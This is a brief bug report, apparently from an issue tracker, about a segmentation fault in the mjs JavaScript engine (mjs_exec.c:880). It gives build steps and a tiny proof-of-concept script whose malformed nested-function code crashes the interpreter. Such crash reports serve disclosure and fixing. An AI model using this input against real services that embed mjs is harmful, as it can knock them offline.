Segmentation fault in mjs_exec.c:880

[ErodedElk]

compile:

git clone https://github.com/cesanta/mjs.git
cd mjs
make

run:

cd build
./mjs poc.js

poc:

let a = function() {
  let y = 1,;
  let boo = function() {
return y;
  };
  return boo();
};
a() === 17;